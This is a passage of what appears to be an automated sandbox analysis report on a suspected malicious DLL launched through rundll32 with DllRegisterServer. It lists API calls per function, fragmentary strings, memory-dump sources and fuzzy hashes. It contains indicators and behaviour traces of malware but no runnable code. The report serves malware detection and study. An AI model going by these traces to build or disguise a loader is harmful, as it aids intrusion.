HeapFree.KERNEL32 ref: 00007FF70D6FB299
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB2AB
HeapFree.KERNEL32 ref: 00007FF70D6FB2B9
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB2BF
HeapFree.KERNEL32 ref: 00007FF70D6FB2D1
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB2FE
HeapFree.KERNEL32 ref: 00007FF70D6FB30C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB31E
HeapFree.KERNEL32 ref: 00007FF70D6FB32C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB33E
HeapFree.KERNEL32 ref: 00007FF70D6FB34C
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB362
HeapFree.KERNEL32 ref: 00007FF70D6FB370
lstrcpyA.KERNEL32 ref: 00007FF70D6FB44F
GetProcAddress.KERNEL32 ref: 00007FF70D6FB4EE
GetLastError.KERNEL32 ref: 00007FF70D6FB5D0
GetLastError.KERNEL32 ref: 00007FF70D6FB664
lstrlenA.KERNEL32 ref: 00007FF70D6FB673
wsprintfA.USER32 ref: 00007FF70D6FB68D
lstrcpyA.KERNEL32 ref: 00007FF70D6FB6EA
lstrlenA.KERNEL32 ref: 00007FF70D6FB6F7
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB71F
HeapFree.KERNEL32 ref: 00007FF70D6FB72D
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB73F
HeapFree.KERNEL32 ref: 00007FF70D6FB74D
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB75F
HeapFree.KERNEL32 ref: 00007FF70D6FB76D

Part of subcall function 00007FF70D6E7D30: lstrlenA.KERNEL32 ref: 00007FF70D6E7DFC
Part of subcall function 00007FF70D6E7D30: GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E05
Part of subcall function 00007FF70D6E7D30: HeapAlloc.KERNEL32 ref: 00007FF70D6E7E14
Part of subcall function 00007FF70D6E7D30: lstrcpyA.KERNEL32 ref: 00007FF70D6E7E2A
Part of subcall function 00007FF70D6E7D30: lstrlenA.KERNEL32 ref: 00007FF70D6E7E36
Part of subcall function 00007FF70D6E7D30: GetProcessHeap.KERNEL32 ref: 00007FF70D6E7E76
Part of subcall function 00007FF70D6E7D30: HeapFree.KERNEL32 ref: 00007FF70D6E7E84

GetProcessHeap.KERNEL32 ref: 00007FF70D6FB77F
HeapFree.KERNEL32 ref: 00007FF70D6FB78D
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB8E8
HeapFree.KERNEL32 ref: 00007FF70D6FB8F6
GetProcessHeap.KERNEL32 ref: 00007FF70D6FB8FC
HeapFree.KERNEL32 ref: 00007FF70D6FB90A

Strings

V, xrefs: 00007FF70D6F9673
k, xrefs: 00007FF70D6FA82D
l, xrefs: 00007FF70D6F8DEE
l, xrefs: 00007FF70D6FAE52
S, xrefs: 00007FF70D6FAE4D
DllRegisterServer, xrefs: 00007FF70D6F97E4, 00007FF70D6F97F6
#, xrefs: 00007FF70D6F7DA4
p, xrefs: 00007FF70D6FAE61
e, xrefs: 00007FF70D6F8B11
C:\Windows\System32\rundll32.exe, xrefs: 00007FF70D6F95EA, 00007FF70D6F961C, 00007FF70D6F9754, 00007FF70D6F981D, 00007FF70D6F98FD, 00007FF70D6FABED
p, xrefs: 00007FF70D6F8B1B
Z, xrefs: 00007FF70D6F7D9F
l, xrefs: 00007FF70D6F8B0C
e, xrefs: 00007FF70D6FAE5C
\, xrefs: 00007FF70D6FACC7
p, xrefs: 00007FF70D6F8DFD
e, xrefs: 00007FF70D6F8B16
e, xrefs: 00007FF70D6F8DF8
S{JjyfjwH, xrefs: 00007FF70D6F8731
e, xrefs: 00007FF70D6F8DF3
:, xrefs: 00007FF70D6F7D90
e, xrefs: 00007FF70D6FAE57
V, xrefs: 00007FF70D6F97FD
C:\Users\user\Desktop\TWsmIoYqC6.dll, xrefs: 00007FF70D6FAFD8, 00007FF70D6FB4F4
S, xrefs: 00007FF70D6F8DE9

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AddressProc$lstrcpy$wsprintf$lstrlen$Alloc$ErrorLastSleep$CreateMutexObjectSingleWaitlstrcatlstrcmpi
String ID: #$:$C:\Users\user\Desktop\TWsmIoYqC6.dll$C:\Windows\System32\rundll32.exe$DllRegisterServer$S$S$S{JjyfjwH$V$V$Z$\$e$e$e$e$e$e$k$l$l$l$p$p$p
API String ID: 746904649-1019715223
Opcode ID: 04663c60d3220c555d0572edf9ebe9ead3e3c58066803e352a293af857679651
Instruction ID: 41ad3825d946facba8193b7f973af393b3f787e3cb703d89236c18867c936ad8
Opcode Fuzzy Hash: 04663c60d3220c555d0572edf9ebe9ead3e3c58066803e352a293af857679651
Instruction Fuzzy Hash: A8838E1290C7C18CE7319F35DC183ED6B91EB1678CF884179D68D0BA9AEFAD9248C721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E5410, Relevance: 184.5, APIs: 62, Strings: 43, Instructions: 753librarymemoryloaderCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E54A4
GetProcAddress.KERNEL32 ref: 00007FF70D6E55E2
GetProcAddress.KERNEL32 ref: 00007FF70D6E5708
GetProcAddress.KERNEL32 ref: 00007FF70D6E57F6

Part of subcall function 00007FF70D6E1220: LoadLibraryA.KERNEL32 ref: 00007FF70D6E12B4
Part of subcall function 00007FF70D6E1220: LoadLibraryA.KERNEL32 ref: 00007FF70D6E1371

Part of subcall function 00007FF70D703678: EnterCriticalSection.KERNEL32 ref: 00007FF70D703688
Part of subcall function 00007FF70D703678: LeaveCriticalSection.KERNEL32 ref: 00007FF70D7036C8

GetProcAddress.KERNEL32 ref: 00007FF70D6E5902
GetProcessHeap.KERNEL32 ref: 00007FF70D6E5998
HeapFree.KERNEL32 ref: 00007FF70D6E59A6
GetProcessHeap.KERNEL32 ref: 00007FF70D6E59C1
HeapFree.KERNEL32 ref: 00007FF70D6E59CF

Strings

p, xrefs: 00007FF70D6E57B1
/, xrefs: 00007FF70D6E5BF6
<, xrefs: 00007FF70D6E56C2
', xrefs: 00007FF70D6E569A
6, xrefs: 00007FF70D6E5695
p, xrefs: 00007FF70D6E58C7
a, xrefs: 00007FF70D6E54F4
., xrefs: 00007FF70D6E54E0
E, xrefs: 00007FF70D6E545E
e, xrefs: 00007FF70D6E58BD
e, xrefs: 00007FF70D6E57AC
e, xrefs: 00007FF70D6E559D
!, xrefs: 00007FF70D6E56B8
#, xrefs: 00007FF70D6E5BF1
S, xrefs: 00007FF70D6E579D
e, xrefs: 00007FF70D6E58C2
', xrefs: 00007FF70D6E56AE
l, xrefs: 00007FF70D6E5468
H, xrefs: 00007FF70D6E544F
M, xrefs: 00007FF70D6E5C00
a, xrefs: 00007FF70D6E54EF
M, xrefs: 00007FF70D6E5454
S, xrefs: 00007FF70D6E5593
e, xrefs: 00007FF70D6E55A2
i, xrefs: 00007FF70D6E54FE
e, xrefs: 00007FF70D6E57A7
f, xrefs: 00007FF70D6E54EA
l, xrefs: 00007FF70D6E5598
2, xrefs: 00007FF70D6E56A4
d, xrefs: 00007FF70D6E54E5
l, xrefs: 00007FF70D6E5BEC
!, xrefs: 00007FF70D6E56C7
Y, xrefs: 00007FF70D6E5463
S, xrefs: 00007FF70D6E56CC
, xrefs: 00007FF70D6E56A9
S, xrefs: 00007FF70D6E58B3
l, xrefs: 00007FF70D6E58B8
i, xrefs: 00007FF70D6E5BFB
p, xrefs: 00007FF70D6E55A7
m, xrefs: 00007FF70D6E5503
l, xrefs: 00007FF70D6E57A2
), xrefs: 00007FF70D6E54F9
!, xrefs: 00007FF70D6E56BD

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: AddressHeapProc$CriticalFreeLibraryLoadProcessSection$EnterLeavewsprintf
String ID: $!$!$!$#$'$'$)$.$/$2$6$<$E$H$M$M$S$S$S$S$Y$a$a$d$e$e$e$e$e$e$f$i$i$l$l$l$l$l$m$p$p$p
API String ID: 435136670-3423213859
Opcode ID: 3979ea7aa3559780da659f67838cd8b977fa6d4898ea2fe5a94c34197cc72c6f
Instruction ID: 578fc545decdcc32ca976d668adf01d2d8f7ca23c63d516a13dc1ce266449526
Opcode Fuzzy Hash: 3979ea7aa3559780da659f67838cd8b977fa6d4898ea2fe5a94c34197cc72c6f
Instruction Fuzzy Hash: 5A829F26A0C7C289E700EB75EC442ADABA1EF5978CF885174EA8D07B95EF7DD144C720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F42E0, Relevance: 135.3, APIs: 29, Strings: 48, Instructions: 570memorystringlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6F63F0: GetProcAddress.KERNEL32 ref: 00007FF70D6F6475

GetProcAddress.KERNEL32 ref: 00007FF70D6F43B7
GetProcessHeap.KERNEL32 ref: 00007FF70D6F441E
HeapAlloc.KERNEL32 ref: 00007FF70D6F442C
GetProcAddress.KERNEL32 ref: 00007FF70D6F451C
GetProcAddress.KERNEL32 ref: 00007FF70D6F45BB
lstrlenA.KERNEL32 ref: 00007FF70D6F467D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4686
HeapAlloc.KERNEL32 ref: 00007FF70D6F4695
lstrlenA.KERNEL32 ref: 00007FF70D6F475E
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4767
HeapAlloc.KERNEL32 ref: 00007FF70D6F4776
lstrlenA.KERNEL32 ref: 00007FF70D6F482D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4836
HeapAlloc.KERNEL32 ref: 00007FF70D6F4845
lstrlenA.KERNEL32 ref: 00007FF70D6F491E
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4927
HeapAlloc.KERNEL32 ref: 00007FF70D6F4936
lstrlenA.KERNEL32 ref: 00007FF70D6F49FE
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4A07
HeapAlloc.KERNEL32 ref: 00007FF70D6F4A16
lstrlenA.KERNEL32 ref: 00007FF70D6F4ACD
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4AD6
HeapAlloc.KERNEL32 ref: 00007FF70D6F4AE5
lstrlenA.KERNEL32 ref: 00007FF70D6F4B9D
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4BA6
HeapAlloc.KERNEL32 ref: 00007FF70D6F4BB5
lstrcpyA.KERNEL32 ref: 00007FF70D6F4BCC
GetProcessHeap.KERNEL32 ref: 00007FF70D6F4BF0
HeapFree.KERNEL32 ref: 00007FF70D6F4BFE

Strings

Z, xrefs: 00007FF70D6F4720
L, xrefs: 00007FF70D6F471B
r, xrefs: 00007FF70D6F497C
x, xrefs: 00007FF70D6F49B8
Z, xrefs: 00007FF70D6F4725
), xrefs: 00007FF70D6F49A9
[, xrefs: 00007FF70D6F46EE
), xrefs: 00007FF70D6F4977
|, xrefs: 00007FF70D6F49CC
|, xrefs: 00007FF70D6F49C7
F, xrefs: 00007FF70D6F46C6
F, xrefs: 00007FF70D6F4711
}, xrefs: 00007FF70D6F4986
p, xrefs: 00007FF70D6F496D
q, xrefs: 00007FF70D6F4972
s, xrefs: 00007FF70D6F4880
J, xrefs: 00007FF70D6F4716
^, xrefs: 00007FF70D6F46CB
n, xrefs: 00007FF70D6F498B
@, xrefs: 00007FF70D6F46D5
), xrefs: 00007FF70D6F472A
[, xrefs: 00007FF70D6F470C
G, xrefs: 00007FF70D6F46DA
n, xrefs: 00007FF70D6F49C2
j, xrefs: 00007FF70D6F4894
y, xrefs: 00007FF70D6F49AE
{, xrefs: 00007FF70D6F4995
Y, xrefs: 00007FF70D6F4707
r, xrefs: 00007FF70D6F4968
l, xrefs: 00007FF70D6F49BD
{, xrefs: 00007FF70D6F49B3
r, xrefs: 00007FF70D6F499A
}, xrefs: 00007FF70D6F499F
N, xrefs: 00007FF70D6F46E9
W, xrefs: 00007FF70D6F486E
], xrefs: 00007FF70D6F46F8
w, xrefs: 00007FF70D6F4981
@, xrefs: 00007FF70D6F46F3
Q, xrefs: 00007FF70D6F4960
:, xrefs: 00007FF70D6F488F
p, xrefs: 00007FF70D6F4990
P, xrefs: 00007FF70D6F46FD
L, xrefs: 00007FF70D6F46E4
], xrefs: 00007FF70D6F46DF
~, xrefs: 00007FF70D6F487B
e, xrefs: 00007FF70D6F46BE
o, xrefs: 00007FF70D6F4885
w, xrefs: 00007FF70D6F488A

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Alloc$lstrlen$AddressProc$Freelstrcpy
String ID: )$)$)$:$@$@$F$F$G$J$L$L$N$P$Q$W$Y$Z$Z$[$[$]$]$^$e$j$l$n$n$o$p$p$q$r$r$r$s$w$w$x$y${${$|$|$}$}$~
API String ID: 3403298137-2421618918
Opcode ID: 91a4036c02362c83d02153b58ffda56f678ba8bf64f5f8977c3d018e288abd86
Instruction ID: cfb33de2a4bdd5692ab13e0cd2d57d5b8e0c63ad3a495ccb497ef2c9fb943e78
Opcode Fuzzy Hash: 91a4036c02362c83d02153b58ffda56f678ba8bf64f5f8977c3d018e288abd86
Instruction Fuzzy Hash: 3C624112A0C7C1CCF712D779A4483AD7FA1976674CF484098EA891AF9ADBBED148C731

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E6010, Relevance: 115.9, APIs: 23, Strings: 43, Instructions: 381memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF70D6E60A4
lstrlenA.KERNEL32 ref: 00007FF70D6E60E8
GetProcessHeap.KERNEL32 ref: 00007FF70D6E60F5
HeapAlloc.KERNEL32 ref: 00007FF70D6E6103
lstrcpyA.KERNEL32 ref: 00007FF70D6E6118
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6190
HeapFree.KERNEL32 ref: 00007FF70D6E619E
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6220
HeapFree.KERNEL32 ref: 00007FF70D6E622E
lstrcpyA.KERNEL32 ref: 00007FF70D6E6330
GetProcessHeap.KERNEL32 ref: 00007FF70D6E6357
HeapFree.KERNEL32 ref: 00007FF70D6E6366
GetProcessHeap.KERNEL32 ref: 00007FF70D6E63A4
HeapFree.KERNEL32 ref: 00007FF70D6E63B2

Part of subcall function 00007FF70D6F5990: GetProcAddress.KERNEL32 ref: 00007FF70D6F5A05

GetProcessHeap.KERNEL32 ref: 00007FF70D6E65E1
HeapFree.KERNEL32 ref: 00007FF70D6E65EF

Part of subcall function 00007FF70D703320: GetProcAddress.KERNEL32 ref: 00007FF70D703403
Part of subcall function 00007FF70D703320: InternetCloseHandle.WININET ref: 00007FF70D70340C

Strings

,, xrefs: 00007FF70D6E62B0
L, xrefs: 00007FF70D6E629C
D, xrefs: 00007FF70D6E626F
C, xrefs: 00007FF70D6E6242
f, xrefs: 00007FF70D6E62BF
e, xrefs: 00007FF70D6E6470
., xrefs: 00007FF70D6E62C4
Z, xrefs: 00007FF70D6E626A
e, xrefs: 00007FF70D6E646B
T, xrefs: 00007FF70D6E6251
;, xrefs: 00007FF70D6E62C9
, xrefs: 00007FF70D6E62BA
P, xrefs: 00007FF70D6E6297
l, xrefs: 00007FF70D6E6466
C, xrefs: 00007FF70D6E6274
i, xrefs: 00007FF70D6E62CE
I, xrefs: 00007FF70D6E623B
p, xrefs: 00007FF70D6E6475
`, xrefs: 00007FF70D6E62F1
L, xrefs: 00007FF70D6E628D
K, xrefs: 00007FF70D6E627E
J, xrefs: 00007FF70D6E6247
O, xrefs: 00007FF70D6E605B
@, xrefs: 00007FF70D6E625B
|, xrefs: 00007FF70D6E62E7
_, xrefs: 00007FF70D6E6283
R, xrefs: 00007FF70D6E6292
%, xrefs: 00007FF70D6E62A1
Q, xrefs: 00007FF70D6E62F6
V, xrefs: 00007FF70D6E6260
D, xrefs: 00007FF70D6E6265
S, xrefs: 00007FF70D6E645E
J, xrefs: 00007FF70D6E624C
!, xrefs: 00007FF70D6E62AB
$, xrefs: 00007FF70D6E62D8
?, xrefs: 00007FF70D6E606A
8, xrefs: 00007FF70D6E62DD
m, xrefs: 00007FF70D6E62E2
H, xrefs: 00007FF70D6E6288
a, xrefs: 00007FF70D6E62A6
$, xrefs: 00007FF70D6E62D3
, xrefs: 00007FF70D6E62B5
x, xrefs: 00007FF70D6E6234

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$Free$AddressProclstrcpy$AllocCloseHandleInternetlstrlenwsprintf
String ID: $ $!$$$$$%$,$.$8$;$?$@$C$C$D$D$H$I$J$J$K$L$L$O$P$Q$R$S$T$V$Z$_$`$a$e$e$f$i$l$m$p$x$|
API String ID: 297594783-1016737915
Opcode ID: b83fb770102a87f765d4ad8c2e1d2248eef95a138ef8585427671d402b08b584
Instruction ID: e617b39fb2fa328a19cbbf05e5be27c9d19eba0a81353a57a13f332c24740256
Opcode Fuzzy Hash: b83fb770102a87f765d4ad8c2e1d2248eef95a138ef8585427671d402b08b584
Instruction Fuzzy Hash: 01028426A0C7C285E711EB65E8042AEBBA1FF59788F444174EE8D17B4AEF7DD015CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6EC9D0, Relevance: 100.2, APIs: 21, Strings: 36, Instructions: 401stringlibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6E33F0: GetProcAddress.KERNEL32 ref: 00007FF70D6E34A4

GetProcAddress.KERNEL32 ref: 00007FF70D6ECA94
CreateFileA.KERNEL32 ref: 00007FF70D6ECABF
GetProcAddress.KERNEL32 ref: 00007FF70D6ECB43
GetProcAddress.KERNEL32 ref: 00007FF70D6ECC54
wsprintfA.USER32 ref: 00007FF70D6ECD26
GetProcAddress.KERNEL32 ref: 00007FF70D6ECDB3
GetProcAddress.KERNEL32 ref: 00007FF70D6ECE54
lstrlenA.KERNEL32 ref: 00007FF70D6ECE78
lstrlenA.KERNEL32 ref: 00007FF70D6ECE86
lstrlenA.KERNEL32 ref: 00007FF70D6ECE93
lstrlenA.KERNEL32 ref: 00007FF70D6ECEA2
lstrcpyA.KERNEL32 ref: 00007FF70D6ECEC1
lstrcatA.KERNEL32 ref: 00007FF70D6ECECE
lstrcatA.KERNEL32 ref: 00007FF70D6ECF0E
lstrcatA.KERNEL32 ref: 00007FF70D6ECF1B
lstrcatA.KERNEL32 ref: 00007FF70D6ECF5E
lstrcatA.KERNEL32 ref: 00007FF70D6ECF6B
lstrcatA.KERNEL32 ref: 00007FF70D6ECF78
lstrcatA.KERNEL32 ref: 00007FF70D6ECFCF
lstrcatA.KERNEL32 ref: 00007FF70D6ED011
lstrcatA.KERNEL32 ref: 00007FF70D6ED021

Strings

f, xrefs: 00007FF70D6ECBEB
z, xrefs: 00007FF70D6ECA39
A, xrefs: 00007FF70D6ECBFA
X, xrefs: 00007FF70D6ECBD7
o, xrefs: 00007FF70D6ECA48
\, xrefs: 00007FF70D6ECBD2
k, xrefs: 00007FF70D6ECA2F
Z, xrefs: 00007FF70D6ECBE6
Z, xrefs: 00007FF70D6ECCAB
P, xrefs: 00007FF70D6ECBDC
5, xrefs: 00007FF70D6ECC1D
P, xrefs: 00007FF70D6ECBC8
a, xrefs: 00007FF70D6ECBCD
a, xrefs: 00007FF70D6ECBE1
^, xrefs: 00007FF70D6ECC97
X, xrefs: 00007FF70D6ECCA1
s, xrefs: 00007FF70D6ECBB3
P, xrefs: 00007FF70D6ECC79
k, xrefs: 00007FF70D6ECA3E
\, xrefs: 00007FF70D6ECC0E
P, xrefs: 00007FF70D6ECBFF
V, xrefs: 00007FF70D6ECC6C
X, xrefs: 00007FF70D6ECC04
L, xrefs: 00007FF70D6ECBF0
I, xrefs: 00007FF70D6ECA22
L, xrefs: 00007FF70D6ECA43
Y, xrefs: 00007FF70D6ECBC3
\, xrefs: 00007FF70D6ECBBB
x, xrefs: 00007FF70D6ECA2A
R, xrefs: 00007FF70D6ECC83
g, xrefs: 00007FF70D6ECA34
P, xrefs: 00007FF70D6ECC18
F, xrefs: 00007FF70D6ECBF5
\, xrefs: 00007FF70D6ECC8D
X, xrefs: 00007FF70D6ECC13
a, xrefs: 00007FF70D6ECC09

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: lstrcat$AddressProc$lstrlen$CreateFilelstrcpywsprintf
String ID: 5$A$F$I$L$L$P$P$P$P$P$R$V$X$X$X$X$Y$Z$Z$\$\$\$\$^$a$a$a$f$g$k$k$o$s$x$z
API String ID: 459848072-3185344653
Opcode ID: 25e7983ba0d9fe6a1b95819bb41a340bac2507275f6303536ff15e567149c9a9
Instruction ID: 2cf5352f1dfa5df3da064a217a71c19343e683fac8f8d07b84cc44b3dedc3751
Opcode Fuzzy Hash: 25e7983ba0d9fe6a1b95819bb41a340bac2507275f6303536ff15e567149c9a9
Instruction Fuzzy Hash: 5522A512A0C7C1CDF701D779D8043AE7FA1AB5678CF480168DB891BA9ADBADD148CB31

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E3E20, Relevance: 97.9, Strings: 78, Instructions: 443COMMON

Download Yara Rule

Strings

], xrefs: 00007FF70D6E3EB1
i, xrefs: 00007FF70D6E4395
I, xrefs: 00007FF70D6E4323
/, xrefs: 00007FF70D6E4377
8, xrefs: 00007FF70D6E437C
D, xrefs: 00007FF70D6E4065
R, xrefs: 00007FF70D6E3E98
C, xrefs: 00007FF70D6E4092
\, xrefs: 00007FF70D6E3ECF
E, xrefs: 00007FF70D6E42EC
R, xrefs: 00007FF70D6E42FB
G, xrefs: 00007FF70D6E409C
!, xrefs: 00007FF70D6E436D
|, xrefs: 00007FF70D6E439F
], xrefs: 00007FF70D6E4300
8, xrefs: 00007FF70D6E4381
E, xrefs: 00007FF70D6E3EDE
%, xrefs: 00007FF70D6E43B8
C, xrefs: 00007FF70D6E4319
O, xrefs: 00007FF70D6E40B5
\, xrefs: 00007FF70D6E4088
@, xrefs: 00007FF70D6E3EE8
C, xrefs: 00007FF70D6E42E7
B, xrefs: 00007FF70D6E408D
N, xrefs: 00007FF70D6E3E8E
(, xrefs: 00007FF70D6E3E75
L, xrefs: 00007FF70D6E42E2
5, xrefs: 00007FF70D6E43A9
/, xrefs: 00007FF70D6E43AE
Z, xrefs: 00007FF70D6E42F6
G, xrefs: 00007FF70D6E3EB6
T, xrefs: 00007FF70D6E42F1
H, xrefs: 00007FF70D6E3EA7
Y, xrefs: 00007FF70D6E4305
Z, xrefs: 00007FF70D6E3E89
\, xrefs: 00007FF70D6E3ECA
F, xrefs: 00007FF70D6E40A1
X, xrefs: 00007FF70D6E3EBB
3, xrefs: 00007FF70D6E3E6D
S, xrefs: 00007FF70D6E405B
,, xrefs: 00007FF70D6E3E84
[, xrefs: 00007FF70D6E431E
D, xrefs: 00007FF70D6E4083
X, xrefs: 00007FF70D6E43BD
<, xrefs: 00007FF70D6E4328
!, xrefs: 00007FF70D6E439A
B, xrefs: 00007FF70D6E3EC5
1, xrefs: 00007FF70D6E4363
Y, xrefs: 00007FF70D6E4314
t, xrefs: 00007FF70D6E3EED
", xrefs: 00007FF70D6E4386
E, xrefs: 00007FF70D6E4060
F, xrefs: 00007FF70D6E3EE3
/, xrefs: 00007FF70D6E4368
C, xrefs: 00007FF70D6E40AB
T, xrefs: 00007FF70D6E3EAC
7, xrefs: 00007FF70D6E43B3
[, xrefs: 00007FF70D6E4097
A, xrefs: 00007FF70D6E4079
], xrefs: 00007FF70D6E406A
), xrefs: 00007FF70D6E3E7A
1, xrefs: 00007FF70D6E43A4
<, xrefs: 00007FF70D6E438B
L, xrefs: 00007FF70D6E40A6
N, xrefs: 00007FF70D6E40B0
T, xrefs: 00007FF70D6E3EA2
=, xrefs: 00007FF70D6E4372
., xrefs: 00007FF70D6E3E7F
U, xrefs: 00007FF70D6E430F
M, xrefs: 00007FF70D6E3E93
R, xrefs: 00007FF70D6E3E9D
", xrefs: 00007FF70D6E4390
C, xrefs: 00007FF70D6E407E
_, xrefs: 00007FF70D6E4074
[, xrefs: 00007FF70D6E406F
J, xrefs: 00007FF70D6E3ED9
X, xrefs: 00007FF70D6E3ED4
R, xrefs: 00007FF70D6E3EC0

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID:
String ID: !$!$"$"$%$($)$,$.$/$/$/$1$1$3$5$7$8$8$<$<$=$@$A$B$B$C$C$C$C$C$D$D$E$E$E$F$F$G$G$H$I$J$L$L$M$N$N$O$R$R$R$R$S$T$T$T$U$X$X$X$Y$Y$Z$Z$[$[$[$\$\$\$]$]$]$_$i$t$|
API String ID: 0-104887894
Opcode ID: e7a2a92cb61b097c8aa74b6323e5f941418a5cd24f3a5c2484c6816b52d03df3
Instruction ID: 501c335ac0e63abcdbe55e228c37e8cccaf86586742bd9d6dae4ac336ebc968e
Opcode Fuzzy Hash: e7a2a92cb61b097c8aa74b6323e5f941418a5cd24f3a5c2484c6816b52d03df3
Instruction Fuzzy Hash: 4D328312A0C7C0CCF711C678944839E7FA1976635CF4801A8EBD91BB9ADBBED149CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6E49B0, Relevance: 88.9, APIs: 21, Strings: 38, Instructions: 400memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70D6ED510: GetProcessHeap.KERNEL32 ref: 00007FF70D6ED574
Part of subcall function 00007FF70D6ED510: HeapAlloc.KERNEL32 ref: 00007FF70D6ED582
Part of subcall function 00007FF70D6ED510: GetProcAddress.KERNEL32 ref: 00007FF70D6ED678

GetProcessHeap.KERNEL32 ref: 00007FF70D6E4A1F
HeapFree.KERNEL32 ref: 00007FF70D6E4A2D

Strings

), xrefs: 00007FF70D6E4E1E
%, xrefs: 00007FF70D6E4DE7
{, xrefs: 00007FF70D6E4E0F
4, xrefs: 00007FF70D6E4E23
Q, xrefs: 00007FF70D6E4E7C
Q, xrefs: 00007FF70D6E4B6C
_, xrefs: 00007FF70D6E4DE2
`, xrefs: 00007FF70D6E4E95
Z, xrefs: 00007FF70D6E4E05
y, xrefs: 00007FF70D6E4DF6
8, xrefs: 00007FF70D6E4B17
U, xrefs: 00007FF70D6E4E86
s, xrefs: 00007FF70D6E4E6D
z, xrefs: 00007FF70D6E4A75
t, xrefs: 00007FF70D6E4E14
, xrefs: 00007FF70D6E4E00
G, xrefs: 00007FF70D6E4E63
`, xrefs: 00007FF70D6E4E0A
}, xrefs: 00007FF70D6E4F8F
H, xrefs: 00007FF70D6E4A7A
j, xrefs: 00007FF70D6E4DFB
J, xrefs: 00007FF70D6E4DEC
], xrefs: 00007FF70D6E4ACC
{, xrefs: 00007FF70D6E4F87
m, xrefs: 00007FF70D6E4B67
@, xrefs: 00007FF70D6E4E81
g, xrefs: 00007FF70D6E4B03
r, xrefs: 00007FF70D6E4B0D
n, xrefs: 00007FF70D6E4E9A
|, xrefs: 00007FF70D6E4B08
|, xrefs: 00007FF70D6E4E19
y, xrefs: 00007FF70D6E4DF1
R, xrefs: 00007FF70D6E4E77
S, xrefs: 00007FF70D6E4E8B
x, xrefs: 00007FF70D6E4F94
a, xrefs: 00007FF70D6E4AD1
G, xrefs: 00007FF70D6E4E72
-, xrefs: 00007FF70D6E4EA9

Memory Dump Source

Source File: 00000018.00000002.557566514.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$Process$AddressAllocFreeProc
String ID: $%$)$-$4$8$@$G$G$H$J$Q$Q$R$S$U$Z$]$_$`$`$a$g$j$m$n$r$s$t$x$y$y$z${${$|$|$}
API String ID: 726391321-865880257
Opcode ID: 4904353a86cbea319ea88287fd05724e8fe17bd907a89fd982c401262ccbd6e8
Instruction ID: c71c26105fa6ad69d053dbc101bab4009a84cac938ff57b40a1495828ac56088
Opcode Fuzzy Hash: 4904353a86cbea319ea88287fd05724e8fe17bd907a89fd982c401262ccbd6e8
Instruction Fuzzy Hash: 0312B562A0C7C189E701D775E8043AEBFE1EB5A788F440064EB8917B5AEF7DD149CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D6F14B0, Relevance: 88.1, APIs: 33, Strings: 17, Instructions: 608memorystringlibraryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70D6F15C0
lstrcpyW.KERNEL32 ref: 00007FF70D6F16D1
lstrcpyW.KERNEL32 ref: 00007FF70D6F17A2
lstrcpyW.KERNEL32 ref: 00007FF70D6F18C3
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1949
HeapAlloc.KERNEL32 ref: 00007FF70D6F1957
lstrcpyW.KERNEL32 ref: 00007FF70D6F1A01
StrDupW.SHLWAPI ref: 00007FF70D6F1A41
VariantClear.OLEAUT32 ref: 00007FF70D6F1A51
lstrcpyW.KERNEL32 ref: 00007FF70D6F1B43
lstrlenW.KERNEL32 ref: 00007FF70D6F1B87
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F1BB5
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1BBE
HeapAlloc.KERNEL32 ref: 00007FF70D6F1BCC
GetProcessHeap.KERNEL32 ref: 00007FF70D6F1C15
HeapFree.KERNEL32 ref: 00007FF70D6F1C23
WideCharToMultiByte.KERNEL32 ref: 00007FF70D6F1E19
